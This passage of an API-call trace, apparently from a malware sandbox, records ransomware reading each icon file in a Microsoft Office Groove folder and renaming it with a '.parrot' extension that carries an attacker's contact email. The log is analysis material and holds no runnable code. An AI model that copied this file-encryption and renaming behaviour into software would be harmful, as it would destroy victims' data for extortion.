lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.202] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.202] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd6e, lpOverlapped=0x0) returned 1 [0194.202] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OFFLINE.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\offline.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.207] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.207] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.208] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.209] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd6e, lpOverlapped=0x0) returned 1 [0194.209] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ONLINE.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\online.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.214] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.214] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.215] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.216] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd6e, lpOverlapped=0x0) returned 1 [0194.216] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.220] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.221] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.222] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.222] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd6e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd6e, lpOverlapped=0x0) returned 1 [0194.222] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.223] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineIdle.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlineidle.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.226] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.226] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.227] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.227] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13e, lpOverlapped=0x0) returned 1 [0194.228] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.228] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutDomain.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outdomain.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.232] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.232] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.234] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.234] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6b6, lpOverlapped=0x0) returned 1 [0194.234] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OUTGOING.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outgoing.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.238] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.238] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.239] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.239] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13e, lpOverlapped=0x0) returned 1 [0194.239] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OutSyncPC.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\outsyncpc.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.244] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.244] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.245] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.245] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6b6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6b6, lpOverlapped=0x0) returned 1 [0194.246] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\PersonalContact.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\personalcontact.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.250] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.250] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.293] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.293] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.294] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionMember.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionmember.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.300] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.300] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.302] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.302] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9f6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9f6, lpOverlapped=0x0) returned 1 [0194.302] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SessionOwner.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\sessionowner.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.306] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.307] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.311] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\SpaceSelector.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\spaceselector.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.315] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.315] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.317] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.317] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.317] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusAway.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusaway.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.321] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.321] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.323] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.323] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.323] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusDoNotDisturb.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusdonotdisturb.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.327] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.327] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.331] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.331] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.332] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\StatusOnline.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\statusonline.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.336] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.336] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.338] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.338] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2796, lpOverlapped=0x0) returned 1 [0194.339] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\TOOLICON.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\toolicon.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.344] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.344] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.346] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.346] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2366, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2366, lpOverlapped=0x0) returned 1 [0194.347] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.351] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0194.351] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0194.353] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.353] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb2e, lpOverlapped=0x0) returned 1 [0194.353] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\WSS_DocLib.ico.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\wss_doclib.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0194.357] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0194.358] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xffde3e60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xffde3e60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.358] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffac4180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="ALERT.ICO.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ALERTI~1.PAR")) returned 1 [0194.358] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", fInfoLevelId=0x0, 